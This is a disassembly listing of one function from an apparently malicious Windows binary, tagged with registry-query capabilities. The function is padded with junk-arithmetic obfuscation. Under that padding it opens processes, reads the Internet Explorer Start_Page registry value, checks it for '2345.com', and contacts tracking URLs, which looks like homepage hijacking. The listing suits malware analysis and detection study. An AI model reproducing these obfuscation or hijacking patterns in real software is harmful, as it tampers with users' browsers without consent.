Function at 0x41a4e0
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x443fed
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1128
call fcn.004298f0
mov eax, dword [0x456fc0]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov eax, dword [0x45568c]
imul eax, eax, 0x6e7be
mov esi, dword [0x4556a8]
imul esi, esi, 0xcecf4
add esi, eax
mov edi, dword [0x45569c]
mov eax, 0x948af151
imul edi
add edx, edi
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x455694]
mov eax, 0x3b1784cb
imul ecx
sar edx, 0x11
mov ecx, edx
add esi, edx
shr ecx, 0x1f
add ecx, esi
mov esi, dword [0x455690]
mov eax, 0xcccc28f7
imul esi
add edx, esi
imul esi, esi, 0x205c4
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
sub ecx, eax
mov eax, 0x1784740b
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0xfff23675
sub edx, eax
mov dword [ebp - 0x10c8], edx
mov eax, 0x3b1db3af
imul edi
mov edi, dword [ebp - 0x10c8]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, esi
mov dword [str._r_____r____], ecx
add eax, ecx
mov ecx, dword [0x455688]
xor ebx, ebx
add ecx, eax
mov dword [ebp - 0x10f8], ebx
mov dword [ebp - 4], ebx
mov dword [0x455688], ecx
mov dword [ebp - 0x10e0], ebx
lea ecx, [ebp - 0x10e0]
push ecx
push 0x446248
push 0x17
push ebx
push 0x44a830
mov byte [ebp - 4], 1
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ebx, eax
mov eax, dword [0x455688]
imul eax, eax, 0x5715a
mov ecx, dword [0x455690]
mov dword [ebp - 0x10c8], eax
mov eax, 0x57ab2ce3
imul ecx
mov ecx, dword [ebp - 0x10c8]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, dword [0x45569c]
sub ecx, eax
mov eax, ecx
mov ecx, dword [0x4556a8]
mov edx, ecx
imul edx, edx, 0xa0008
add eax, edx
mov esi, dword [0x4556a0]
mov dword [ebp - 0x10c8], eax
mov eax, 0xcccc28f7
imul edi
add edx, edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10c8]
sub edx, eax
sub edx, esi
sub edx, 0x205c4
test ebx, ebx
mov dword [0x455690], edx
jge 0x41a6f5
mov ecx, dword [0x455698]
mov edx, dword [0x45568c]
imul ecx, ecx, 0x5715a
imul edx, edx, 0x6e7be
add ecx, edx
mov esi, dword [0x4556a4]
mov eax, 0x30f1b28f
imul edi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x8aa1b
sub ecx, eax
add ecx, esi
lea eax, [edx + ecx - 0x205c4]
mov dword [0x455694], eax
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 0
je 0x41a6ee
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x41c9b3
mov edi, dword [0x455698]
imul esi, esi, 0x53aff
mov eax, 0x9e71fdc9
imul edi
add edx, edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x944b09c1
imul ecx
add edx, ecx
imul ecx, ecx, 0x205c4
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455694]
sub edi, eax
mov eax, 0x3b1784cb
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
add edi, esi
sub edi, eax
mov eax, dword [ebp - 0x10e0]
sub edi, ecx
lea edx, [ebp - 0x10ec]
push edx
mov dword [0x455698], edi
mov dword [ebp - 0x10ec], 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov ebx, dword [0x45568c]
mov ecx, dword [0x455690]
mov esi, dword [0x455694]
mov eax, 0x1784740b
imul ebx
sar edx, 0xf
mov edi, ecx
imul edi, edi, 0xdc98b
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, esi
mov edx, ebx
imul eax, eax, 0x205c4
imul edx, edx, 0x8a933
add edi, edx
add edi, eax
mov eax, 0xcccc28f7
imul esi
mov eax, dword [ebp - 0x10ec]
add edx, esi
sar edx, 0x13
mov esi, edx
shr esi, 0x1f
add edi, edx
add esi, edi
test eax, eax
mov dword [0x45569c], esi
je 0x41a6da
mov eax, dword [0x455698]
imul eax, eax, 0x64985
mov dword [ebp - 0x10c8], eax
mov eax, 0xa854d31d
imul ebx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0xbae2b
mov edi, eax
mov eax, dword [ebp - 0x10c8]
sub edi, eax
mov eax, dword [ebp + 8]
add edi, edx
test eax, eax
mov dword [0x4556a0], edi
je 0x41a89b
mov edi, dword [0x455688]
mov eax, 0x948af151
imul edi, edi, 0x53aff
imul esi
add edx, esi
imul esi, esi, 0x8aa1b
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3b1784cb
imul ebx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add edi, esi
sub edi, ecx
mov ecx, dword [0x4556a4]
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov ecx, 0x5694b0
mov dword [0x4556a4], edi
call fcn.0040ebe0
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov edi, dword [0x4556a0]
mov eax, ecx
imul edi, edi, 0xaafdf
imul eax, eax, 0x6e7be
mov dword [ebp - 0x10c8], eax
mov eax, 0x30f1b28f
imul dword [0x455698]
mov eax, dword [ebp - 0x10c8]
sar edx, 0x10
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x3b1db3af
imul dword [str._r_____r____]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
sub ebx, edi
add eax, edx
sub ebx, eax
xor edi, edi
mov dword [0x4556a8], ebx
mov dword [ebp - 0x10f0], edi
cmp edi, dword [ebp - 0x10ec]
mov eax, dword [0x45568c]
jge 0x41c963
imul eax, eax, 0x6e7be
imul ebx, ebx, 0xcecf4
add ebx, eax
mov eax, 0x948af151
imul esi
add edx, esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x3b1784cb
imul dword [0x455694]
sar edx, 0x11
mov esi, edx
add ebx, edx
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr esi, 0x1f
shr ecx, 0x1f
add esi, ebx
add ecx, edx
sub esi, ecx
mov dword [str._r_____r____], esi
mov dword [ebp - 0x10d8], 0
mov eax, edi
mov word [ebp - 0x111c], 3
mov dword [ebp - 0x1114], eax
mov edi, dword [ebp - 0x111c]
mov ecx, dword [ebp - 0x10e0]
mov edx, dword [ecx]
lea esi, [ebp - 0x10d8]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x1118]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1110]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x111c]
push ecx
mov ebx, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov edx, dword [0x455690]
mov ecx, dword [0x455688]
mov esi, dword [0x45569c]
imul ecx, ecx, 0x5715a
mov eax, 0x57ab2ce3
imul edx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a8]
imul edx, edx, 0xa0008
sub ecx, eax
mov edi, dword [0x4556a0]
add ecx, edx
mov eax, 0xcccc28f7
imul esi
add edx, esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, edi
sub ecx, 0x205c4
mov dword [0x455690], ecx
test ebx, ebx
jl 0x41ab0d
mov esi, dword [0x45568c]
mov eax, 0x1784740b
imul esi
imul esi, esi, 0x8a933
sar edx, 0xf
mov ebx, ecx
imul ebx, ebx, 0xdc98b
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, esi
mov esi, dword [0x455694]
mov edx, esi
imul edx, edx, 0x205c4
add ebx, edx
mov eax, 0xcccc28f7
imul esi
mov eax, dword [ebp - 0x10d8]
add edx, esi
sar edx, 0x13
mov esi, edx
add ebx, edx
shr esi, 0x1f
add esi, ebx
xor ebx, ebx
test eax, eax
mov dword [0x45569c], esi
mov dword [ebp - 0x10cc], ebx
je 0x41aab9
mov ecx, dword [eax]
lea edx, [ebp - 0x10cc]
push edx
push 0x4462a0
push eax
call dword [ecx]
mov ebx, dword [ebp - 0x10cc]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov edi, dword [0x4556a0]
imul edi, edi, 0xfff23675
mov eax, 0x1784740b
imul dword [0x4556a4]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3b1db3af
imul esi
sar edx, 0x11
add edi, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0x205c4
shr eax, 0x1f
add eax, edi
mov edi, dword [str._r_____r____]
sub eax, edx
mov edx, dword [0x455688]
add eax, edi
add edx, eax
test ebx, ebx
mov dword [0x455688], edx
jne 0x41ab2a
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 1
je 0x41c949
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41c93d
mov ecx, dword [0x455698]
mov edi, dword [0x45568c]
mov eax, ecx
imul eax, eax, 0x5715a
mov edx, edi
imul edx, edx, 0x6e7be
add eax, edx
mov dword [ebp - 0x10dc], eax
mov eax, 0x30f1b28f
imul esi
mov esi, dword [str._r_____r____]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10dc]
sub edx, eax
add edx, dword [0x4556a4]
mov eax, esi
imul eax, eax, 0x8aa1b
lea edx, [eax + edx - 0x205c4]
mov dword [0x455694], edx
mov dword [ebp - 0x10dc], 0
imul ecx, ecx, 0x64985
imul esi, esi, 0xbae2b
mov eax, 0xa854d31d
imul edi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
lea edx, [ebp - 0x10dc]
add eax, esi
push edx
mov dword [0x4556a0], eax
mov ecx, dword [ebx]
push ebx
mov byte [ebp - 4], 5
call dword [ecx + 0x48]
test eax, eax
jge 0x41ac12
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 4
je 0x41abe1
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41abf5
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 1
je 0x41c93d
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41c93d
mov ebx, dword [0x4556a8]
mov esi, dword [0x4556a0]
mov ecx, dword [0x45568c]
mov edx, ebx
imul edx, edx, 0xcecf4
mov edi, esi
imul edi, edi, 0x6e7be
sub edi, edx
mov eax, 0x30f1b28f
imul ecx
mov ecx, dword [0x455690]
sar edx, 0x10
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x3b1784cb
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [0x455694]
add eax, edi
sub eax, edx
add eax, 0xbae2b
mov dword [0x45568c], eax
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov dword [ebp - 0x10d4], 0
je 0x41acad
mov ecx, dword [eax]
lea edx, [ebp - 0x10d4]
push edx
push 0x4462b0
push eax
call dword [ecx]
mov ecx, dword [0x455690]
mov ebx, dword [0x4556a8]
mov esi, dword [0x4556a0]
imul esi, esi, 0x53aff
mov edi, dword [0x455698]
mov eax, 0x9e71fdc9
imul edi
add edx, edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x944b09c1
imul ebx
add edx, ebx
imul ebx, ebx, 0x205c4
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3b1784cb
imul dword [0x455694]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add edi, esi
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0x10d4]
sub edi, ebx
test eax, eax
mov byte [ebp - 4], 6
mov dword [0x455698], edi
jne 0x41ad69
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 4
je 0x41ad32
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x455690]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41ad4c
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x455690]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 1
je 0x41c943
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41c93d
push 0
call fcn.004298af
sub eax, dword [0x569708]
add esp, 4
cmp eax, 0x708
jge 0x41b015
mov esi, dword [0x4556a8]
mov edx, dword [0x45568c]
imul esi, esi, 0xcecf4
mov ecx, dword [0x45569c]
imul edx, edx, 0x6e7be
add esi, edx
mov eax, 0x948af151
imul ecx
add edx, ecx
mov ecx, dword [0x455694]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3b1784cb
imul ecx
mov ecx, dword [0x455690]
sar edx, 0x11
mov edi, edx
add esi, edx
mov eax, 0xcccc28f7
imul ecx
mov eax, dword [ebp - 0x10cc]
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
shr edi, 0x1f
add ecx, edx
add edi, esi
sub edi, ecx
lea ecx, [ebp - 0x1108]
push ecx
mov dword [str._r_____r____], edi
mov edx, dword [eax]
push eax
call dword [edx + 0x94]
mov eax, dword [ebp - 0x1108]
lea edx, [ebp - 0x10c8]
push edx
push eax
mov dword [ebp - 0x10c8], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [0x4556a0]
mov edx, dword [0x4556a8]
imul edx, edx, 0xcecf4
mov esi, ecx
imul esi, esi, 0x6e7be
sub esi, edx
mov edx, dword [0x45568c]
mov eax, 0x30f1b28f
imul edx
mov ebx, dword [0x455694]
sar edx, 0x10
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x455690]
mov eax, 0x3b1784cb
imul esi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov edi, dword [ebp - 0x10c8]
sub eax, ebx
add eax, 0xbae2b
test edi, edi
mov dword [0x45568c], eax
je 0x41bb30
mov esi, dword [0x455698]
imul eax, eax, 0x6e7be
mov ecx, dword [0x45569c]
imul esi, esi, 0x5715a
mov ebx, dword [0x4556a4]
add esi, eax
mov eax, 0x30f1b28f
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x10
imul ecx, ecx, 0x8aa1b
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push edi
add esi, ebx
push 0
lea edx, [ecx + esi - 0x205c4]
push 0x1f0fff
mov dword [0x455694], edx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x41b015
mov ecx, dword [0x45568c]
mov edi, dword [0x455690]
mov eax, 0x1784740b
imul edi, edi, 0xdc98b
imul ecx
imul ecx, ecx, 0x8a933
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x455694]
mov edx, ecx
imul edx, edx, 0x205c4
add edi, edx
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
mov cx, word [0x446c74]
sar edx, 0x13
add edi, edx
mov eax, edx
mov dl, byte [0x446c76]
shr eax, 0x1f
add eax, edi
mov dword [0x45569c], eax
mov word [ebp - 0x2c4], cx
xor eax, eax
mov byte [ebp - 0x2c2], dl
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
push 0x100
stosb byte es:[edi], al
lea eax, [ebp - 0x2c4]
push eax
push 0
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov ecx, dword [0x45569c]
mov esi, dword [0x455688]
mov eax, 0x948af151
imul esi, esi, 0x53aff
imul ecx
add edx, ecx
imul ecx, ecx, 0x8aa1b
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x45568c]
mov eax, 0x3b1784cb
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x4556a4]
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x2c4]
sub esi, eax
push str.startup.exe
push ecx
mov dword [0x4556a4], esi
call fcn.00429d20
add esp, 8
test eax, eax
jne 0x41bb9b
mov esi, dword [0x45569c]
mov edi, dword [0x455688]
mov eax, 0x948af151
imul edi, edi, 0x53aff
imul esi
add edx, esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3b1784cb
imul dword [0x45568c]
mov ecx, esi
imul ecx, ecx, 0x8aa1b
sar edx, 0x11
add edi, ecx
mov ecx, dword [0x4556a4]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xcccc28f7
imul ecx
mov eax, dword [ebp + 8]
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [ebp - 0x10f8]
inc ecx
test eax, eax
mov dword [0x4556a4], edi
mov dword [ebp - 0x10f8], ecx
je 0x41c852
push ecx
lea edx, [ebp - 0x10cc]
mov ecx, esp
mov dword [ebp - 0x10d0], esp
push edx
call fcn.00406ad0
mov ecx, 0x5694b0
call fcn.00406040
test al, al
mov esi, dword [0x45569c]
jne 0x41c852
mov ecx, dword [0x4556a8]
mov eax, dword [0x45568c]
imul eax, eax, 0x6e7be
mov edi, ecx
imul ecx, ecx, 0xa0008
imul edi, edi, 0xcecf4
add edi, eax
mov eax, 0x948af151
imul esi
add edx, esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455694]
sub edi, eax
mov eax, 0x3b1784cb
imul edx
sar edx, 0x11
mov ebx, edx
add edi, edx
shr ebx, 0x1f
add ebx, edi
mov edi, dword [0x455690]
mov eax, 0xcccc28f7
imul edi
add edx, edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov dword [str._r_____r____], ebx
mov ebx, dword [0x455688]
mov eax, 0x57ab2ce3
imul ebx, ebx, 0x5715a
imul edi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xcccc28f7
imul esi
mov eax, dword [0x4556a0]
add ebx, ecx
add edx, esi
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
sub ebx, eax
mov eax, dword [ebp - 0x10cc]
lea ecx, [ebp - 0x110c]
sub ebx, 0x205c4
push ecx
mov dword [0x455690], ebx
mov edx, dword [eax]
push eax
call dword [edx + 0x78]
mov ecx, dword [0x45568c]
mov esi, dword [0x455690]
mov eax, 0x1784740b
imul esi, esi, 0xdc98b
imul ecx
imul ecx, ecx, 0x8a933
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x455694]
mov edx, ecx
imul edx, edx, 0x205c4
add esi, edx
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, dword [ebp - 0x110c]
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
push ecx
mov dword [0x45569c], eax
call fcn.0041f160
mov esi, dword [0x4556a8]
mov edx, dword [0x45568c]
imul esi, esi, 0xcecf4
mov ecx, dword [0x45569c]
imul edx, edx, 0x6e7be
mov dword [ebp - 0x10d0], eax
add esi, edx
mov eax, 0x948af151
imul ecx
add edx, ecx
mov ecx, dword [0x455694]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3b1784cb
imul ecx
mov ecx, dword [0x455690]
sar edx, 0x11
add esi, edx
mov edi, edx
mov eax, 0xcccc28f7
imul ecx
mov eax, dword [ebp - 0x10d4]
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
shr edi, 0x1f
add ecx, edx
add edi, esi
sub edi, ecx
lea ecx, [ebp - 0x1100]
push ecx
mov dword [str._r_____r____], edi
mov edx, dword [eax]
push eax
xor esi, esi
call dword [edx + 0x90]
mov edx, dword [0x4556a8]
mov edi, dword [0x4556a0]
imul edx, edx, 0xcecf4
imul edi, edi, 0x6e7be
mov ecx, eax
sub edi, edx
mov edx, dword [0x45568c]
mov eax, 0x30f1b28f
imul edx
sar edx, 0x10
add edi, edx
mov ebx, edx
mov edx, dword [0x455690]
mov eax, 0x3b1784cb
imul edx
shr ebx, 0x1f
sar edx, 0x11
add ebx, edi
mov edi, dword [0x455694]
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, edi
add eax, 0xbae2b
test ecx, ecx
mov dword [0x45568c], eax
jne 0x41b2f1
mov ecx, dword [ebp - 0x1100]
push ecx
call fcn.0041f160
mov esi, eax
push 0
call fcn.004298af
sub eax, dword [0x56946c]
add esp, 4
cmp eax, 5
jle 0x41c127
test esi, esi
je 0x41b325
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41b313
sub eax, edx
cmp eax, 5
ja 0x41c127
mov esi, dword [0x455698]
mov edx, dword [0x45568c]
imul esi, esi, 0x5715a
mov ecx, dword [0x45569c]
imul edx, edx, 0x6e7be
add esi, edx
mov eax, 0x30f1b28f
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x10
imul ecx, ecx, 0x8aa1b
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, dword [0x4556a4]
lea edx, [ecx + esi - 0x205c4]
mov dword [0x455694], edx
mov ecx, str.http:__www.baiduo.org_
lea edx, [ebp - 0x1c4]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41b382
lea eax, [ebp - 0x1c4]
push eax
call fcn.0041f000
mov ecx, dword [0x455698]
mov esi, dword [0x455690]
mov dword [ebp - 0x1104], eax
imul esi, esi, 0x6e7be
mov eax, 0x30f1b28f
imul ecx
mov ecx, dword [0x4556a0]
imul ecx, ecx, 0xaafdf
sar edx, 0x10
add esi, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, esi
sub ebx, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x3b1db3af
imul ecx
mov ecx, dword [str.sfdafsdafdsfdsfa]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x446c58]
sub ebx, eax
mov eax, dword [0x446c5c]
mov dword [ebp - 0x144], ecx
mov ecx, dword [0x446c60]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x140], edx
mov dl, byte [0x446c64]
mov dword [ebp - 0x138], ecx
xor eax, eax
mov byte [ebp - 0x134], dl
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x45568c]
imul eax, eax, 0x6e7be
mov dword [0x4556a8], ebx
imul ebx, ebx, 0xcecf4
add ebx, eax
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x45569c]
mov eax, 0x948af151
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x455694]
mov eax, 0x3b1784cb
imul ecx
mov ecx, dword [0x455690]
sar edx, 0x11
movsw word es:[edi], word [esi]
add ebx, edx
mov esi, edx
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr esi, 0x1f
shr eax, 0x1f
add esi, ebx
add eax, edx
sub esi, eax
lea ecx, [ebp - 0x10f4]
mov dword [ebp - 0x10f4], 0
mov dword [str._r_____r____], esi
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0x40]
push edx
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41b783
mov ecx, dword [0x455698]
mov esi, dword [0x4556a8]
mov eax, 0x9e71fdc9
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x944b09c1
imul esi
add edx, esi
imul esi, esi, 0x205c4
sar edx, 0x12
mov ecx, edx
mov edi, dword [0x455694]
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x4556a0]
mov edx, ecx
imul ecx, ecx, 0xfff23675
imul edx, edx, 0x53aff
add ebx, edx
mov eax, 0x3b1784cb
imul edi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
sub ebx, eax
mov eax, 0x1784740b
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45569c]
sub ecx, eax
mov eax, 0x3b1db3af
imul edx
sar edx, 0x11
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x455690]
mov edx, ecx
imul ecx, ecx, 0xdc98b
imul edx, edx, 0x205c4
sub eax, edx
mov edx, dword [0x455688]
sub ebx, esi
add eax, dword [str._r_____r____]
mov esi, dword [0x45568c]
add edx, eax
mov dword [0x455688], edx
mov eax, 0x1784740b
imul esi
imul esi, esi, 0x8a933
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x205c4
sub ecx, eax
add ecx, esi
add ecx, edx
mov eax, 0xcccc28f7
imul edi
add edx, edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
mov dword [0x455698], ebx
mov dword [ebp - 0x10e8], 0x104
add ecx, edx
add eax, ecx
lea ecx, [ebp - 0x10e8]
push ecx
mov ecx, dword [ebp - 0x10f4]
lea edx, [ebp - 0x144]
push edx
mov dword [0x45569c], eax
lea eax, [ebp - 0x10e4]
push eax
push 0
push str.Start_Page
mov ebx, 1
push ecx
mov dword [ebp - 0x10e4], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41b783
mov edx, dword [0x4556a8]
mov esi, dword [0x4556a0]
imul edx, edx, 0xcecf4
mov ecx, dword [0x45568c]
imul esi, esi, 0x6e7be
sub esi, edx
mov eax, 0x30f1b28f
imul ecx
mov ecx, dword [0x455690]
sar edx, 0x10
add esi, edx
mov edi, edx
mov eax, 0x3b1784cb
imul ecx
mov eax, dword [0x569788]
shr edi, 0x1f
add edi, esi
sar edx, 0x11
mov esi, edx
shr esi, 0x1f
add edi, edx
add esi, edi
mov edi, dword [0x455694]
sub esi, edi
add esi, 0xbae2b
test eax, eax
mov dword [0x45568c], esi
jne 0x41b795
lea eax, [ebp - 0x144]
push str..2345.com
push eax
call fcn.00429d20
add esp, 8
test eax, eax
jne 0x41b6e0
lea ecx, [ebp - 0x144]
push str..2345.COM
push ecx
call fcn.00429d20
add esp, 8
test eax, eax
je 0x41b783
mov esi, dword [0x4556a8]
mov edx, dword [0x45568c]
imul esi, esi, 0xcecf4
mov ecx, dword [0x45569c]
imul edx, edx, 0x6e7be
add esi, edx
mov eax, 0x948af151
imul ecx
add edx, ecx
mov ecx, dword [0x455694]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3b1784cb
imul ecx
mov ecx, dword [0x455690]
sar edx, 0x11
mov edi, edx
add esi, edx
mov eax, 0xcccc28f7
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x144]
shr edi, 0x1f
push edx
add edi, esi
sub edi, ecx
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_HomePage_s
push 0x558268
mov dword [str._r_____r____], edi
mov dword [0x569788], ebx
call fcn.004297ca
push 0x132b600
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x45568c]
mov ecx, dword [0x455690]
mov edi, dword [0x455694]
mov eax, 0x1784740b
imul ecx, ecx, 0xdc98b
imul esi
imul esi, esi, 0x8a933
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, edi
imul edx, edx, 0x205c4
add ecx, esi
